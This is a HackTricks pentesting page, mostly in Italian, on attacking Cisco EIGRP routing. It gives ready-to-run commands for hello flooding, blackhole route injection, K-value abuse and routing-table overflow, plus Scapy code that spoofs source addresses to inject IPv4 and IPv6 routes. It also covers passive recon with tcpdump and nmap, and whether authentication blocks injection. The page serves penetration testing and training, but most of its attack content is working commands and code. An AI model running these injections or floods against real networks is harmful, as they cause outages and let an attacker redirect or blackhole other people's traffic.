EIGRP Attacks

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Questa è una sintesi degli attacchi descritti in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Controlla lì per ulteriori informazioni.

Fake EIGRP Neighbors Attack

  • Objective: Sovraccaricare le CPU dei router inviando un flusso di pacchetti HELLO EIGRP, potenzialmente causando un Denial of Service (DoS).
  • Tool: helloflooding.py script.
  • Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters:
  • --interface: Specifica l’interfaccia di rete, es. eth0.
  • --as: Definisce il numero dell’autonomous system EIGRP, es. 1.
  • --subnet: Imposta la subnet di destinazione, es. 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objective: Interrompere il flusso del traffico di rete iniettando una route falsa, creando un blackhole dove il traffico viene diretto verso una destinazione inesistente.
  • Tool: routeinject.py script.
  • Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters:
  • --interface: Specifica l’interfaccia del sistema dell’attaccante.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP dell’attaccante.
  • --dst: Imposta l’IP della subnet target.
  • --prefix: Definisce la mask dell’IP della subnet target.

Abusing K-Values Attack

  • Objective: Creare interruzioni e riconnessioni continue all’interno del dominio EIGRP iniettando K-values alterati, provocando di fatto un attacco DoS.
  • Tool: relationshipnightmare.py script.
  • Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters:
  • --interface: Specifica l’interfaccia di rete.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP di un router legittimo.

Routing Table Overflow Attack

  • Objective: Stressare CPU e RAM del router riempiendo la routing table con numerose route false.
  • Tool: routingtableoverflow.py script.
  • Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters:
  • --interface: Specifica l’interfaccia di rete.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP dell’attaccante.

Protocol Notes Useful for Attacks

  • HELLO packets carry K-values and neighbors only form when they match. Questa è la base per gli attacchi di mismatch dei K-value/interrupt della relazione e spiega perché K-values non corrispondenti impediscono l’adjacency.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, quindi capture passive rivelano i valori esatti usati sul segmento.
  • EIGRP uses IP protocol 88, multicasting a 224.0.0.10 in IPv4 e FF02::A in IPv6. Questo lo rende facile da individuare con tcpdump 'ip proto 88 or ip6 proto 88' prima di tentare abusi attivi.
  • Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. La blind multicast route injection può funzionare in lab deboli, ma quando emuli un neighbor reale spesso devi tracciare seq, ack e la peer list contenuta nei SEQUENCE TLV per restare sincronizzato con la logica RTP.

Passive Recon Before Injection

Prima di provare a iniettare route, cattura uno scambio HELLO / UPDATE legittimo ed estrai:

  • AS number
  • K-values and Hold Time dal PARAMETER TLV
  • Authentication in use: nessuna, MD5, o HMAC-SHA-256
  • Neighbor source address e la subnet/interfaccia dove EIGRP è attivo
  • Software / TLV profile (SOFTWARE_VERSION, STUB, SEQUENCE) in modo che i tuoi pacchetti costruiti risultino simili a quelli dei router locali

Comandi utili:

# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'

# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery

# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100

Il broadcast-eigrp-discovery di Nmap funziona inviando un HELLO a 224.0.0.10 e analizzando i pacchetti UPDATE restituiti, cosa utile per enumerare i prefissi prima di tentare una route injection più intrusiva.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy include un layer contrib EIGRP con TLV come EIGRPParam e EIGRPIntRoute, sufficiente per creare UPDATE per route injection. Esempio adattato dallo script di EIGRP route injection davidbombal/scapy:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

Lo stesso repo include script veloci “fake neighbor” che fanno sniffing di un pacchetto EIGRP reale e lo replayano con un source IP spoofed per creare phantom neighbors (utile per CPU/neighbor-table pressure).

Scapy espone anche primitive che sono utili quando serve un’emulazione ad alta fedeltà invece di un singolo UPDATE:

  • EIGRPAuthData per adjacenze autenticate
  • EIGRPSeq per la gestione di sequence / conditional-receive
  • EIGRPStub per replicare il comportamento di stub osservato
  • EIGRPv6IntRoute / EIGRPv6ExtRoute per l’iniezione di route IPv6

Questo è importante perché la logica del trasporto affidabile spesso è ciò che separa un PoC usa-e-getta da un fake neighbor che sopravvive abbastanza a lungo da apprendere le route e poisonare la topologia.

EIGRP for IPv6

EIGRP for IPv6 è una address-family separata trasportata su IPv6. Usa ancora il formato pacchetto EIGRP / TLVs, ma viene abilitata direttamente sulle interfacce e multicast a FF02::A. Dal punto di vista offensivo, ciò significa che un segmento dual-stack può esporre un EIGRP attack surface anche quando il lato IPv4 sembra pulito.

Differenze importanti:

  • IPv6 EIGRP è abilitato per interfaccia (ipv6 eigrp <as>), non tramite network statements in stile IPv4.
  • È ancora richiesto un router ID, quindi lo sniffing di un segmento attivo solitamente rivela abbastanza contesto per mimare un peer valido.
  • L’autenticazione MD5 è disponibile per EIGRP for IPv6, e le moderne implementazioni in named mode possono anche usare HMAC-SHA-256, che blocca l’iniezione di route non autenticata.

Esempio minimo Scapy per l’iniezione di route IPv6:

from scapy.all import *
load_contrib("eigrp")

send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")

Se il next hop IPv6 all’interno del route TLV è azzerato, i ricevitori ricorrono all’indirizzo IPv6 sorgente nell’intestazione del pacchetto. Questo rende lo source spoofing e l’uso corretto degli indirizzi link-local particolarmente importanti durante i test su EIGRPv6.

  • Documentazione Scapy EIGRP contrib: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Script di esempio: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy crea un laboratorio di attacco con router virtuali (FRRouting + Scapy) e include attacchi DRP che puoi adattare per i test su EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap’s NSE dispone di una piccola libreria eigrp per il parsing/generazione di un sottoinsieme di pacchetti EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Authentication Recon

  • La modalità named di EIGRP supporta HMAC-SHA-256 authentication tramite authentication mode hmac-sha-256 .... Se abilitata, i pacchetti costruiti devono essere autenticati con la chiave corretta; se non è abilitata, lo spoofing/l’iniezione è più facile da verificare.
  • RFC 7868 definisce anche sia i dati di autenticazione MD5 che SHA2-256 all’interno dell’EIGRP AUTH TLV, ed è per questo che le catture passive ti dicono rapidamente se uno spoofing “alla cieca” è realistico o se prima hai bisogno del materiale chiave.
  • Su EIGRP per IPv6, Cisco supporta anche MD5 authentication with key chains. Se sono configurate più chiavi con send/accept lifetimes, il replay di traffico autenticato obsoleto diventa meno affidabile perché la chiave attiva può ruotare senza cambiare il resto del profilo di adiacenza.

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks